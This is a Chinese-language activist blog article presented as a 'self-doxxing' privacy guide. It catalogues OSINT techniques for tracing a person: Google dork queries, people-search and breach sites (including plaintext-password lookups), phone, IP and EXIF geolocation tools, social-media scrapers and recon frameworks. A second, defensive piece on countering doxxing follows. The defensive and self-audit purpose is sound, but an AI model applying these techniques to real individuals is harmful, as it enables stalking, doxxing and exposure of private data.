这就是“自我人肉” 系列的目的 —— ⚠帮助您在被对手找到之前，尽可能砍断一切追踪线索。

正因为当下数字时代，人们在互联网上暴露了自己太多私密隐情，于是，社交媒体和互联网是追踪者首先会深入探索的。

这是一场竞技。你和你的对手谁先入手，谁就能取得胜利。

“自我人肉”系列将提供绝大多数追踪者都会使用的技术和工具，是的他们整天都在研究这些东西。现在，我们必须让大众了解这些东西，以便采取针对性的防御。

关于安全防御，IYP即将推出一整套详细的措施 —— 从线上到线下，

尽可能从每一个细节帮助您的人身安全。敬请期待。

我们在上一篇文章中介绍了关于《自我人肉》的最基本方法和思考方式；在《大清洗》中介绍了一些隐身的办法。也许仍不是最全面的。

⚠随着社交媒体的使用量几乎接近饱和，当权者对社交媒体情报的热衷一直在迅速膨胀；加之全网挖掘技术 如OSINT的兴起，并且工具越来越好用和自动化，几乎任何人都可以扒光你。

🌤于是想要保护自己的人最有必要做的就是在被别人扒光之前，先自行找到针对自己来说最致命的东西，然后尽可能隐藏它们。

OSINT就是这样一种东西，它不仅能进攻而且也能防卫，如果你能在你的对手使用这些技术瞄准你之前，使用同样的技术对自己进行全面审视，就能发现对手最可能从哪里下手，便能做到有针对性的防御。

IYP推荐过OSINT工具套装，详见《超级情报收集工具库》，其中一半是提供给调查人员、记者和各领域真相挖掘者的，今天则做一个补充，提供给大众一系列“自我人肉”的基本工具。

试试看，也许您能发现互联网有多可怕。

也能知道自己或朋友是如何被警方抓到的。

有很多 OSINT 工具可供使用，本文不打算全部介绍它们，只讨论最常用的工具、以及在所描述的用例中比较有用的工具。

本指南会展示一种通用方法，您当然可以使用不同的工具和方法，具体取决于您的需求和初始状态。

基本的 **OSINT** 步骤是这样的：

- 从您所知道的开始（电子邮件、用户名等等）
- 定义需求（你想得到什么）
- 收集数据
- 分析收集到的数据
- 根据需要使用新收集到的数据进行分析
- 验证你的假设
- 生成报告

下面分头介绍不同部分的挖掘。

1、挖真实姓名*IntelTechniques.com OSINT*工作流程图：真实姓名

- 政府资源

有许多网站，您可以在其中找到有关人员或组织的信息，根据国家/地区的不同，信息开放性可能会有所不同。

本文不会列举所有国家的政府资源，因为作为不同国家的居民它们可能与你不相关。

⚠但请记住，这些资源均在线，并且 Google 就能挖出来，它们并不难找，特别是使用运算符搜索的情况下。参见我们曾经介绍过的方法，部分详见《高级运算符辅助开源调查：巧用搜索引擎挖掘情报》

- 谷歌 **Dorks**

2002年，Johnny Long 开始研究谷歌搜索查询，揭露易受攻击的系统或易于披露的敏感信息。他把这些方法标记为 Google Dorks。

现在，您可以通过数千种不同的查询来探索 Google Hacking Database。下面的查询可以通过简单的搜索返回给您原本难以找到的信息。

- *"john doe" site:instagram.com* —引号强制 Google 在 Instagram 上进行搜索时完全匹配。
- *"john doe" -"site:instagram.com/johndoe" site:instagram.com*—隐藏目标自己帐户中的帖子，但在其他人的 Instagram 帖子上显示发布的评论。
- *"john" "doe" -site:instagram.com*—显示与给定姓名和姓氏完全匹配但组合不同的结果，并从结果中排除 Instagram。
- *"CV" OR "Curriculum Vitae" filetype:PDF "john" "doe"*—在名称中搜索包含"CV"或"Curriculum Vitae"的目标简历，并具有PDF扩展名。

如果您对拼写有100%的肯定，请将单个单词用引号括起来。默认情况下， Google 会尝试将您的关键字塑造成大众想要的内容。

顺便说，Instagram 的有趣之处在于如果你使用正确的 Google Dork，甚至可以看到私人帐户的评论和点赞。

必须推荐同时使用 Bing、Yandex 和 DuckDuckGo 上的高级搜索查询执行搜索，因为其他搜索引擎可能会为您提供 Google 无法获得的结

果。

搜人 ——

有专门从事人物搜索的网站可以提供真实姓名，用户名，电子邮件或电话号码。

- https://pipl.com
- https://www.spokeo.com
- https://thatsthem.com
- https://www.beenverified.com
- https://www.fastpeoplesearch.com
- https://www.truepeoplesearch.com
- https://www.familytreenow.com
- https://people.yandex.ru

中国有一个“找人网 zhaoren.net”，也是足够可怕的；还有手机号、身份证号、IP地址等查询功能的“ip138.com”。

即便你移除了自己，新的搜索依旧会把你的资料包含在列表中。原因是不同的服务购买和使用了相同的数据集。于是您只需要等待一个更新的数据集出现。

相对的，您的侦查对象在站点A上删除的数据可能会在站点B上被找到。

搜用户名 ——

首先，必须找到一个用户名。通常是名称加姓氏的组合、或源自该人使用或拥有的网站的域名。

从您拥有的数据开始，然后针对您的需求进行反向查找。

显然，最简单的方法是谷歌目前已知的任何相关数据，并尝试使用用户名查找任何页面。

此外，您可以使用反向用户名搜索的特殊网站，例如 socialcatfish.com，usersearch.org 或 peekyou.com。

Google Dorks ——

在搜索用户名时 Google Dorks 非常有用。此外，URL 搜索可能会给

您带来良好的结果，因为通常URL包含用户名。

- *inurl:johndoe site:instagram.com*—在 Instagram 上搜索包含“johndoe”的网址。
- *allinurl:john doe ny site:instagram.com*—在 Instagram URL 中找到带有“john”、“doe”和“ny”字样的页面。与 inurl 类似，但支持多个单词。

根据搜索的复杂程度以及使用以前方法的成功程度，您可能希望生成一个单词列表。

当需要尝试很多选项时，列表会很有用，因为你没有清楚地了解用户名应该是什么，但是有很多猜测。

用户名搜索 ——

很多网站都有用户名搜索，其中最好的网站之二是：instantusername.com 和 namechk.com。

通常，一个服务可以找到其他服务没有找到的东西，因此最好同时使用这两个。

除了在线服务外，您还可以使用 WhatsMyName—一个 Github 项目，包含更高级的工具：Spiderfoot 和 Recon-ng。但是，您可以将其用作运行 Python 脚本的独立检查程序。

您可能会得到误报，因为其他人可以使用相同的用户名，要为此做好准备。

请注意：⚠高度建议全程使用匿名方法隐藏您的操作者身份。

电子邮件地址 ——

Google Dorks ——

- *“@example.com” site:example.com*—搜索给定域名上的所有电子邮件；
- *HR “email” site:example.com filetype:csv | filetype:xls | filetype:xlsx*—在给定域上查找HR联系人列表；
- *site:example.com intext:@gmail.com filetype:xls*—提取电子邮件ID。

电邮工具 ——

- Hunter—对电子邮件地址执行域名快速扫描并显示其常见模式。
- Email permutator—支持多个变量输入以生成自定义结果。
- Proofy—允许批量电子邮件验证，这在您使用排列工具生成电子邮件列表并希望一次性检查所有电子邮件时非常有用。
- Verifalia—无需注册即可免费验证单个电子邮件地址。要使用批量验证，您必须注册。

浏览器插件 ——

- Prophet—揭示有关人的更多信息。它使用高级引擎根据姓名，公司和其他社交数据预测给定人员最可能使用的组合形式。然后，Prophet 验证生成的电子邮件，以确保它是正确的和可交付的。
- OSINT browser extension—包含许多有用的链接，包括用于电子邮件搜索和验证的链接。兼容 Firefox 和 Chrome。
- LinkedIn Sales Navigator—适用于 Chrome 的插件，可直接在 Gmail 中显示关联的 Twitter 帐户、和丰富的 LinkedIn 个人资料数据。

被攻破的数据库 ——

数据泄露已成为一个大问题，最近我们看到越来越多的数据转储。

安全研究员 Troy Hunt 收集了被泄露的数据，剥离了密码，并将其上传到了 haveibeenpwned.com。

虽然违规事实本身可能不那么重要，但重要的是，知道您正在研究的人的电子邮件就可能获得该人使用的或至少曾经用过的服务列表。

另一种选择是使用 dehashed.com。使用免费帐户时它的工作方式与 Troy Hunt 类似，但订阅版可以以明文或哈希形式显示密码。

从 OSINT 的角度来看，我们需要搜索它是否在其他一些网站上使用，另一种方法是找出该人使用或至少使用过哪些服务。

通过密码或其哈希进行搜索不仅可以显示使用过的网站，还可以显示与之关联的电子邮件地址。

因此可以获得使用其他方法无法获得的目标电子邮件。重要的是要注

意，如果密码不是唯一的，可能会得到误报，因为其他人也可能会使用它。

电话号码 ——

有时人们会将电话号码和电子邮件放入 Facebook 个人资料里，因此在 Facebook 搜索中键入这些东西就会显示个人资料。

另一个选择是查找用户提供的电话号码数据库，如 whocalledme.com。

数据库不仅限于美国，也可以检查来自欧洲的数据。

此外，在移动设备上也有几个应用程序：privacystar.com，getcontact.com 和 everycaller.com。

有许多反向电话查询服务，它们通常是针对特定国家/地区的，因此找到适合您需求的服务很重要。

PhoneInfoga ——

PhoneInfoga 是扫描电话号码的免费类最先进工具之一。

目的是首先在任何国际电话号码上收集基本信息，如国家、地区、运营商和线路类型，并且准确性非常高。然后尝试确定 VoIP 提供商或在搜索引擎上搜索足迹以尝试识别号码所有者。

- 检查电话号码是否存在且是否可行；
- 收集国家、线路类型和运营商等标准信息；
- 一次可检查多个号码；
- 使用外部 API，Google Hacking，电话簿和搜索引擎进行 OSINT 侦察；
- 使用自定义格式进行更有效的 OSINT 侦察。

Android 模拟器 ——

许多 Android 应用程序可以在模拟器上运行而不会出现问题，但有些可能无法按预期运行。

例如，在 freephonenum.com 上测试时，Viber 在激活 VoIP 电话号码方面存在问题。

但是，在模拟器上运行应用程序有很多优点：您的真实帐户或电话号码将是安全的，因为您不必在手机上安装有问题的应用程序，并且您可以轻松欺骗GPS坐标。

我们介绍过这个游戏，详见《如何在您的 PC 上创建 Android 开源研究设备？》。

将号码保存在手机中，然后查看 Viber 或 WhatsApp 联系人列表。这些服务允许添加照片、简介、所有者的姓名、并且只需知道电话号码即可提取此信息。

- Bluestacks—主要面向游戏玩家，但也运行其他应用程序。适用于 Windows，Mac 和 Linux，不需要虚拟机，因此安装比 Genymotion 更容易。
- Genymotion—被开发人员广泛使用，但也有免费版供个人使用。适用于 Windows、Mac 和 Linux，并有一系列虚拟设备可供选择。
- AMIDuOS—仅适用于 Windows，并利用系统中的设备驱动程序在 Android 中启用近乎原生的性能。它速度快，安装简单。然而要花钱，AMIDuOS 的售价为10美元。

域名 ——

如果你想要的个人或组织拥有一个网站，你必须知道如何获取有关它的信息。

这一调查可能会揭示正在使用的操作系统、软件版本、个人联系信息等。

建议在没有“触及”目标环境的情况下进行调查，这种技术被称为被动侦察 —— 可以帮助获得有关目标的更多信息，而无需直接与其进行交互。

下面描述一些在保持隐身的同时获取信息的方法。

Google Dorks ——

以下是一些可用的查询：

- *site:example.com*—将搜索限制为特定网站或域。
- *filetype:DOC*—返回DOC文件或其他指定类型，例如 PDF，XLS 和 INI。通过用“|”分隔扩展名，可以同时搜索多种文件类型。

- *intext:word1*—找到包含您要搜索的特定单词的网页和网站。
- *allintext: word1 word2 word3*—搜索页面或网站中的所有给定单词。
- *related:example.com*—将列出与指定网页“相似”的网页。
- *site:*.example.com*—显示所有子域。 Asterisk 可以替代搜索查询中的单个或多个单词。

Whois ——

Whois 提供有关 Internet 资源的注册用户或受理人的信息，例如域名、IP地址或自治系统。

有许多 Whois 资源，这些资源都很好：whois.icann.org 和 whois.com。

反向 Whois ——

Reverse Whois 为您提供 Whois 记录中具有相同组织名称或电子邮件地址的域列表。

例如，如果您正在调查名为“John Doe Inc”的公司，您可以看到在“John Doe Inc”下注册的所有其他域名。

viewdns.info 很棒，因为它有一个广泛的工具包，包括反向 whois 查找。

相同的IP ——

在与目标网站同一台服务器上运行的网站中会发现有价值的信息。例如，您可能会找到子域或开发站点。

托管此站点的服务提供商通常也托管其他服务，请使用 www.atsameip.intercode.ca 和 www.sameip.org 进行检查。

被动 DNS ——

仅使用 DNS 记录有时还不够，这就是被动 DNS 派上用场的地方。

RiskIQ Community Edition 是值得推荐的，因为它提供的信息不仅仅是被动DNS。VirusTotal 或 SecurityTrails 也可用于此目的。

Internet 档案和缓存 ——

The WaybackMachine 可用于查找以前版本的网页，使人们可以查看网站之前的状态或恢复已删除的网页。

Archive.today 是另一个网页时间包，可以手动将实时网址快照添加到存档。

有些情况下，已删除的页面未被归档但仍由搜索引擎缓存。可以在 cachedview.com 上找到它们，也可以使用以下 Google 查询请求缓存版本：*cache:website.com*.

在 Google 上没有找到任何内容吗？那就检查其他搜索引擎的缓存，但请记住缓存显示上次索引页面的时间。因此，您可能会获得包含缺失图像和过时信息的页面。

您可能还喜欢 visualping.io——一种监控服务，它在选定的时间截取网页的屏幕截图，并在发生变化时向您发送电子邮件警报。

‘可靠吗’分析 ——

知道自己正在与谁打交道、以及网站是否可以信任，非常重要。

如果有任何疑问，请使用免费在线工具进行恶意活动检查，就可以会省去在VM中打开网站或执行其他预防措施的麻烦。

尽管单独进行测试并不能获得完全精确的结果，但它仍然是主要方法之一：

- www.siteworthtraffic.com—分析网站流量（用户，网页浏览量）并估算通过广告可以产生多少收入。
- www.alexa.com—分析网站流量和竞争对手，并提供有关SEO改进的建议。
- www.similarweb.com—分析工具，提供有关网站或移动排名、性能、流量来源等深层信息。最重要的是，它进行了referral analysis。
- https://sitecheck.sucuri.net—扫描网站上的已知恶意软件、黑名单状态、网站错误和过时的软件。
- www.quttera.com—提供免费的恶意软件扫描，并提供包含恶意文件、可疑文件、黑名单状态等的综合报告。
- www.urlvoid.com—帮助您检测潜在的恶意网站。此外，它还提供了有关 IP地址、DNS记录等更多信息，并将其与已知黑名单进行交叉引用。

物联网搜索引擎 ——

IoT（物联网）搜索引擎向您显示连接到网络空间的设备，就像谷歌搜索一样。为什么有用？

例如，您可以请求已有的有关开放端口、应用程序和协议的可用信息，而不是使用 Nmap 主动扫描端口和服务。

Shodan.io 是最受欢迎的扫描仪，具有公共API并与许多安全工具集成。对于营销人员来时，它提供有关产品用户及其所在位置的数据。

安全研究人员使用它来发现易受攻击的系统并访问各种物联网设备。还有其他替代品，如 Censys，或者它的中国复制版—Fofa 和 ZoomEye。

位置搜索 ——

地理定位工具 ——

Creepy 是一个免费工具，允许从社交网络和图像托管服务收集数据进行位置研究。

商业选择是 Echosec，每月花费近500美元，但如果您是非营利组织或自由撰稿人，您可以申请免费访问 Echosec Pro。

基于**IP**的地理定位 ——

基于IP的地理定位是IP地址或MAC地址到真实世界地理位置的映射。

有许多网站可以将IP地址映射到位置，其中一个是 www.iplocation.net。当您知道该人之前已连接的WI-FI接入点时—使用 wigle.net 对其进行映射并在 Google 地球上进行更详细的研究。

有用的网站 ——

- www.emporis.com—建筑数据库，提供来自世界各地的建筑物的图像。可能有助于确定图片上的建筑物。
- http://snradar.azurewebsites.net—搜索地理标记的 VKontakte 公共帖子并按日期过滤。
- http://photo-map.ru—允许搜索带有地理标记的 VKontakte 帖子，但需要授权。
- www.earthcam.com—全球拥有和运营的直播网络摄像头网

络，在位置研究期间可能很有用。
- www.insecam.org—在线安全摄像头目录。摄像机的坐标是近似值，指向ISP地址，而不是摄像机的物理地址。

图 ——

如果您有图片并想知道它的使用位置或首次出现的时间，使用反向图片查找即可。

此外，TinEye 的算法设计与 Google 不同，因此可以返回不同的结果。

为什么有用？作为一名调查员，您可能会需要通过头像找到这个人，因为人们通常不会为他们使用的各种社交网络更改个人资料图片；作为记者，您可以执行与过滤配对的图像搜索以揭露虚假新闻。

如果您需要在社交网络上进行狭窄的搜索，可以使用针对 Vkontakte 的 Findclone 和 Findmevk.com 或者针对 Reddit 的 karmadecay 进行搜索。

此外，值得一提的是浏览器扩展：适用于 Chrome 的 RevEye 和适用于 Firefox 的“图像搜索”选项。

像 CamFind for iOS 这样的移动应用可能会帮助您搜索物理世界中的内容。此外，还有一个 Image Identification Project，用AI识别图像上的内容。

图像本身包含许多有用的信息，如相机信息、地理坐标等等 —— 它被称为EXIF数据，如果没有删除，您可能会从中发现很多有趣的信息。

例如，映射地理坐标以找出拍摄照片的位置或获取相机序列号，有一项特殊服务：stolencamerafinder.com。

图像编辑工具允许查看元数据，如果您不想要安装复杂程序，跨平台免费软件 Exiftool 可能比较适合您。

第三种方法是在线查看 EXIF 数据：exifdata.com 或 viewexifdata.com。要删除EXIF数据，您可以使用本地安装的工具：exifpurge.com 或在线进行：verexif.com。

您是否需要执行图像取证并查明图像是否被篡改过？使用

Forensically 或 FotoForensics 这些在线工具即可。如果您不想在线上传图片—可以在本地运行 Phoenix 或 Ghiro。

后者更自动化，并提供比上述在线工具更多的功能。

除此之外，使用图像可能需要对其进行去模糊处理以提高质量，因此这里有一些增强工具：

- Smartdeblur—有助于恢复焦点并进行图像改进，从而提供惊人的效果。
- Blurity—仅关注去模糊化，不提供像以前的工具那样的许多选项，仅在Mac上可用。
- Letsenhance.io—使用AI在线增强和升级图像。

SOCMINT ——

SOCMINT 是 OSINT 的一个子集，专注于社交媒体平台上的数据收集和监控。

以下是更多的工具。

- Stalkscan—显示有关此人的所有可公开访问的信息。
- ExractFace—从 Facebook 提取数据，使其可脱机使用以作为证据或执行高级离线分析。
- Facebook Sleep Stats—根据用户的在线/离线状态估算睡眠模式。
- lookup-id.com—帮助您找到个人资料或群组的 Facebook ID。

Twitter：

- Twitter advanced search—正如其名；
- TweetDeck—为您提供一个仪表板，显示您的Twitter帐户中的单独活动。例如，您可能会在主屏幕上的某个位置看到针对您的主页Feed、通知、直接消息、和活动的单独列。
- Trendsmap—向您展示来自世界各地的 Twitter 上最受欢迎的趋势、主题标签和关键字。
- Foller—为您提供有关任何公共 Twitter 个人资料的丰富信息（个人资料公开信息，推文和粉丝数量，主题，标签，提及等）。
- Socialbearing—免费的 Twitter 分析，搜索推文、时间表和推特地图。通过参与、影响力、位置、情感等线索来查找、过滤

和排序推文或人。
- Tinfoleak—显示了Twitter用户使用的设备、操作系统、应用程序和社交网络。此外，它还显示了地点和地理位置坐标，以生成所访问位置的跟踪地图。在Google地球中映射用户推文等功能。

Instagram：

- www.picodash.com—将统计信息导出到电子表格（CSV）。此外，它也收集点赞和评论。
- https://web.stagram.com—在线图像和视频查看器/下载器。
- https://codeofaninja.com/tools/find-instagram-user-id—获取用户ID。用户名可能会更改，ID不会。
- http://instadp.com—显示完整尺寸的个人资料照片。
- https://sometag.org—搜索趋势标签、位置和帐户。此外，它还会比较帐户和导出关注者以及标签统计信息。

LinkedIn：

- InSpy—用 Python 编写的。可用于搜索特定组织的员工。此外，它还可以找出组织使用的技术，这是通过特定关键字爬出来的。
- LinkedInt—刮取所选组织中员工的电子邮件地址。支持给定公司域名的自动电子邮件前缀检测。
- ScrapedIn一个 Python 脚本，用于抓取配置文件数据并将其导入XLSX文件（旨在与Google Spreadsheets一起使用）。

—— 自动化**OSINT** ——

互联网是数据的海洋，手动查找信息可能既费时又无效，而且自动化工具可以实现肉眼不会发现的相关性。

这一切都取决于你的情况，你是否需要使用这些工具，因为大多数工具都需要学习，需要解决复杂的问题。

因此，如果您只想完成几个简单的任务，前面提到的东西就已经足够了。

以下是更好的工具。

SpiderFoot ——

如果你想自动化OSINT，它是最好的侦察工具之一，因为它可以用来同时查询100多个公共数据源，它的模块化允许微调查询源。

有四种不同的用例：获取目标的所有内容，了解目标暴露在互联网上的内容，查询黑名单和其他来源以检查目标的恶意与否，通过不同的开源渠道收集情报。最后一个是被动侦察的理想选择。

theHarvester ——

这是一个非常简单但有效的工具，用于在信息收集阶段获取有关目标的有价值信息。

对于被动侦察，theHarvester 使用许多资源来获取Bing、百度、雅虎和谷歌搜索引擎等平台的数据，以及 LinkedIn、Twitter 和 Google Plus 等社交网络数据。

对于主动侦察，它执行DNS反向查找、DNS TDL扩展和DNS暴力破解。

Recon-ng ——

这是另一个很棒的命令行工具，用于彻底、快速地进行信息收集。

这个功能齐全的Web侦察框架包括一系列用于被动侦察、便利功能、和交互式帮助的模块，可指导您如何正确使用它。

对于那些熟悉 Metasploit 的人来说，Recon-ng 会更容易学习，因为它们具有相似的使用模式。

如果您正在寻找能够快速检查公司在互联网上的可见性的强大功能 —— 这是一个可行的工具。

Maltego ——

这是一个为分析复杂环境而开发的高级平台。

除了数据挖掘之外，它还可以进行数据关联并直观地呈现数据。

Maltego 与您连接的实体（人员，公司，网站，文档等）合作，以便从不同来源收集有关它们的更多信息，以获得有意义的结果。

该工具的独特之处在于“transforms”—一个插件库，可帮助运行与外

部应用程序不同类型的测试和数据集成。

FOCA ——

这是一种从分析的文档中提取隐藏信息和元数据的工具。

分析所有文档并提取元数据后，它会进行自动元数据分析，以确定哪些文档是由同一用户创建的。

最新版本仅适用于 Windows。

Metagoofil ——

也是一个命令行工具。对网站下载的公共文档进行分析和元数据提取。适用于 pdf，doc，xls，ppt 和其他格式。

—— 总结 ——

在后隐私世界中保持私密权并控制在这个数字海洋中漂浮的信息是很困难的。

虽然你无法控制关于你的一切，但至少要了解它，这非常重要。

不言而喻，⚠ 在数字时代，信息起着关键作用，因此那些知道如何找到信息的人将始终领先一步。

这就是本文的目的，以展示OSINT如何帮助解决广泛的问题：从深度调查到隐私人身安全。

文章中介绍的大部分技巧都很简单，但是会非常强大。因此，如果被用于恶意目的就会造成严重的损害，因此希望您能合理使用它们。

您喜欢使用什么工具和技术来收集情报？欢迎留言讨论。〇

原文

AS29 抵制在线攻击：不要被 trolling 和 Doxing 压垮 (2) - iyouport

护盾（AS）

【2019年1月8日存档】只要你追求正义，就肯定会遭受邪恶力量的攻击，而每一种邪恶力量都很强大，如果处理不好后果往往非常严重。我们不希望匿名性与组织动员能力和公信力相冲突，所以，异议人士和活动家包括记者，都应该掌握一些应对攻击的技巧—— 合作和联盟非常重要！

我曾经提出过一个问题：如何向活动家普及匿名安全知识。但这是有难度的，活动家往往需要通过实名的知名度来获得更广泛的动员能力，另外塑造一个虚拟身份期望它拥有同样的号召能力是不现实的。

但是，实名有着明显的危险，不只有众所周知的 **trolling**，还有 **Doxing** 这类从在线追踪到线下迫害的严重人身威胁。目前正在大多数国家泛滥。

Doxing 是一种基于互联网的暴力行为，用于挖掘和广播关于个人或组织的私人或可识别信息，以便骚扰和伤害活动家及其组织活动。此外，这种攻击还可能伴随着现实世界的暴力，并传播关于个人和/或社会运动的虚假信息，搅乱联合、抹黑名誉。

- 不要以为中国不存在这类现象，我们四年前就有相关记录《网络“水军”的布局》

敌对方的水军可以通过搜索公共数据、和社交媒体网站（如 Facebook）以及使用黑客工具、和社交工程攻击，来获取关于活动家的私密信息。也就是说，活动家的曝光程度越高，越危险。

尤其是是社交工程学，它正越来越多地被全球政权和他们雇佣的水军利用来攻击异议人士和活动家，这就是为什么社交工程攻击演示成为了 IYP 专注的主题之一。在下面回顾部分内容：

- 《人性弱点能摧毁一切防火墙：社交工程攻击实践，以及你必须在乎的问题》
- 《语言是强大的武器—— 如何使用它？社交工程攻击演示继续：致命的诱导》
- 《如何让一个人心甘情愿吐露重要信息？—— 社交工程攻击“诱导的艺术”》
- 《网络战：!社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？》
- 《现实生活中遍地都是可利用的信息：社交工程学侦查实践》
- 《挡不住的秘密就在你不知不觉中被暴露：社交工程学攻击实践》

完整的社交媒体生态系统是攻击者最主要的依赖，并传播抹黑性质的虚假信息，其目的就是令活动家沉默。于是我们希望能介绍一些方法，阻止攻击者的目的达成。

以下是一个能保护您的清单：

✔ 创建自助计划，并呼吁您的家人和朋友来帮助您。让他们知道最新的情况，因为 trolling 和 doxing 很可能是创伤性的，你必须优先考虑自己的身心健康，以便继续战斗。

同时，我们依旧要强调合作和联盟。当你孤军奋战的时候就很容易被有组织的攻击压垮，当你知道有很多志同道合的人和你站在一起的时候，就能感受到更多的力量和勇气。

如果可以通过评分来说明的话，中国社会将被列入“协作和联盟能力较差”的行列。如今的联盟仅仅限于本地是不够的，更多的需要全球联盟，很多互联网权利组织都提供跨国协助，不论是快速响应、互联网审查和阻塞、还是在线攻击。比如 Stop LAPD Spying Coalition，Equality labs，都是协作被在线攻击迫害的活动家的组织。

- 关联：关于快速相应，您应该求助于哪些国际组织《我的设备好像被黑了怎么办？—— 给敏感人士和小白朋友的数字急救包》

✔ 创建一个事故日志。这对于建立攻击模式至关重要，并且可以与其他受害者进行比较，以以识别攻击中的更常见模式、识别对手及其组织的背景。也就是为追责提供证据。

日志的格式比如这样：

请随意创建一个对您有意义的，并且可以适应您的情况的日志。最重要的是，您可以在整个攻击过程中记录笔记，并在可能的情况下与安全专业人员分享。如果您喜欢这里的示例（请点击链接），可以使用此文档作为示例。可以随意复制。

⚠ 但请注意：我们建议您不要将事件日志保留在谷歌文档中！它不安全！而应保存在加密的文字处理平台上，例如 Ripup 上的 Etherpad 或https://cryptpad.fr上的加密文件。

✔ 立即更改您现有的一切密码。 **Trolls** 肯定会尽力入侵您的所有帐户。您可以在 www.haveibeenpwned 检验您的电子邮件是否是最近任何黑客攻击的一部分。这可以让您了解您的帐户面临被渗透风险的程度。

在进行快速评估后，列出所有关键帐户并立即更改密码。

此外，如果您有时间，我们建议您使用密码管理器生成并存储所有新密码。这将使您能够更好地为所有帐户创建复杂密码，同时您只需要记住一个主密码即可。

✔ 为您的所有帐户开启 2FA。这意味着您在登录帐户时添加了其他验证方法。当有 Trolls 试图侵入你的帐户时，就能阻止他们。

还是那句话，您需要像骇客那样思考。如果受到损害，您有哪些帐户会造成损失最严重？通过接管您的电子邮件，攻击者可以释放私密信息并干扰您的沟通，通过接管您的银行帐户，他们会肆无忌惮地处理您的财务状况等等。因此，如果可以的话，锁定所有这些。

我们建议您添加 **2FA**，⚠ 但是请尽可能避免使用文本/短信作为验证方法！这是因为文本可能被截获，因此很不安全。**!**我们建议您使用 **Authy** 等应用，它可以在您的手机上生成代码，并且可以在手机被没收、被盗或丢失的情况下远程撤销。

✔ 找出一切可以识别您身份的信息。在 Duckduckgo 上搜索自己，并尝试在隐身模式下进行此搜索。这将让您了解在线网络中存在的关于您的数据量。

检查您的数据泄漏并在此处选择退出：

- BeenVerified: https://www.beenverified.com/faq/opt-out/
- CheckPeople: http://www.checkpeople.com/optout
- Instant Checkmate: https://www.instantcheckmate.com/

optout/
- Intelius: https://www.intelius.com/optout.php
- PeekYou: http://www.peekyou.com/about/contact/optout/index.php
- PeopleFinders: http://www.peoplefinders.com/manage/
- PeopleSmart: https://www.peoplesmart.com/optout-signup
- Pipl: https://pipl.com/directory/remove/
- PrivateEye: http://secure.privateeye.com/help/default.aspx#26
- PublicRecords360: http://www.publicrecords360.com/optout.html
- Radaris: http://radaris.com/page/how-to-remove
- Spokeo: http://www.spokeo.com/opt_out/new
- USA People Search: http://www.usa-people-search.com/manage/default.aspx
- TruthFinder.com: https://www.truthfinder.com/opt-out/
- Nuwber: https://nuwber.com/removal/link
- OneRep: https://onerep.com/optout
- FamilyTreeNow: http://www.familytreenow.com/contact

虽然很难将所有内容都删除，但每一点都会有帮助。这是一场艰苦的战斗，因为有数百个这样的网站，大多数组织者都没有多少时间来做这项工作。那么怎么办？

在一个紧急的 doxing 攻击案例中，如果你只是在快速反应方面吃不消了，那么请考虑使用像 **Privacy Duck** 这样的服务。这就是联盟的力量，他们可以与在各地的活动家合作，帮助清理他们的数据。Equality Labs 也可以帮忙，因此，如果您认为自己需要这样的帮助并且符合条件，请发送电子邮件至 equalitylabs@protonmail.com。

你可以获得的关于 Privacy Duck 的好处是，他们在 YouTube 上分享所有免费的教程视频，并提供了详细的分步说明：https://www.youtube.com/privacyduckcom

✔ 打电话给你的信用卡，手机提供商，公用事业服务部门和银行，让他们知道你被攻击者瞄准了。很多时候，Trolls 会通过试图追踪您的信用卡、银行账户等，将在线攻击带入现实世界。这些服务部门通常可以添加额外的安全层，以帮助保护您的账户，尤其是在威胁期间。

✔ 坚持使用加密良好的 VPN 保护您的网络访问。这有助于将您的网络流量私有化，并绕过您的互联网服务提供商的过滤。它还确保

Trolls 无法使用您的 IP 地址找到您。无论您使用何种 VPN，请务必阅读隐私政策，以确保您的服务不会出售、存储或共享您的数据。在这里找到安全的 **VPN** 《工具箱》，并且，在这里《验证您正在使用的 **VPN** 是否安全》。

✔ 使用 TOR 浏览器。 VPN 可以提供隐私，但只有 TOR 浏览器才能提供真正的匿名性。在这里看到我们对 Tor 的介绍：1、《Tor 的来历：当搬石头砸脚遇到“运动死亡”》2、《反侦查技巧》3、《当局如何诱捕 Tor 的使用者》4、《创新考虑互联网》5、《使用 **Tor** 保护自己时千万不要做这九件事！》

✔ 安装 **Signal**。安装在手机和计算机上，此安全消息传递和语音应用程序可以取代短信、电话和电子邮件。重要的是您必须先在手机上安装它，并确保验证所有用户。Signal 最大的问题在于使用手机号注册，您可以避免使用自己真正的手机号，方法：《🔐 如何在不必暴露真实电话号码的情况下使用 Signal》

✔ 使用加密的电子邮件，⚠ 切勿使用谷歌的 **Gmail** !!! GMail 与政府就许多监控计划（包括 PRISM 项目）上进行合作。因此，尽管谷歌的广泛保护可以帮助您解决个别黑客的问题，但仍然存在这样的威胁：您的帐户中的所有数据都可以被搜索并存储到 NSA 的服务器上，而无需您的知情。

如果您必需使用 Gmail，请安装额外的加密，MAC 的 GPG 加密或 PC 的https://gnupg.org。这些是安全的，但你自己的 GPG 的设置可能对非专业人士来说有点麻烦。在这种情况下，使用 Tuanota 或 ProtonMail 等加密电子邮件服务。这两种服务都将您的加密密钥作为服务的一部分嵌入，其界面类似于 g-mail。

✔ 安全的团队通话使用 TALKY.IO或 ZOOM。⚠ 包括免费电话会议在内的所有其他协议都不安全！包括 **Skype**，谷歌环聊和 **facetime**。 Talky.io是免费的，但其免费版本的时间有限。如果您使用 Zoom，请确保转到设置并启用加密。

✔ 在您的所有社交网络上更改您的隐私设置。访问您的 Facebook，Twitter，Snapchat 和 Instagram 的隐私设置到 PRIVATE，并阻止所有已关注您的 Trolls。

LINKEDIN

对于许多人来说，如果被发现从事政治活动，那么他们就会面临特别

的风险。如今这在任何一个国家都一样。

要禁用公开可见的个人资料，请访问 https://www.linkedin.com/public-profile/settings ，在右侧，您会看到“您的个人资料的公开可见度”。将其切换为“关闭”。

Facebook

对于您的所有 Facebook 隐私设置，可以在这里找到它们：https://www.facebook.com/help/325807937506242/

关键是以下这些：

- 更改您的设置，以便只有您的朋友才能看到您当前的帖子。当您想要发布与公共相关的工作内容时，请将这些单独的帖子设置为公开。观看此视频，保护过去的时间线帖子：How To Video
- 请查看您的朋友列表。如果有人关注了你或者你的朋友，但你不记得他们是谁，或者模糊地记得与他们进行过一些尴尬的互动，那么立刻拉黑他们。仔细检查您的每个朋友是否都是唯一的，查看是否有人伪造了和您的朋友相似的名字和照片的帐户，如果有，立即拉黑。
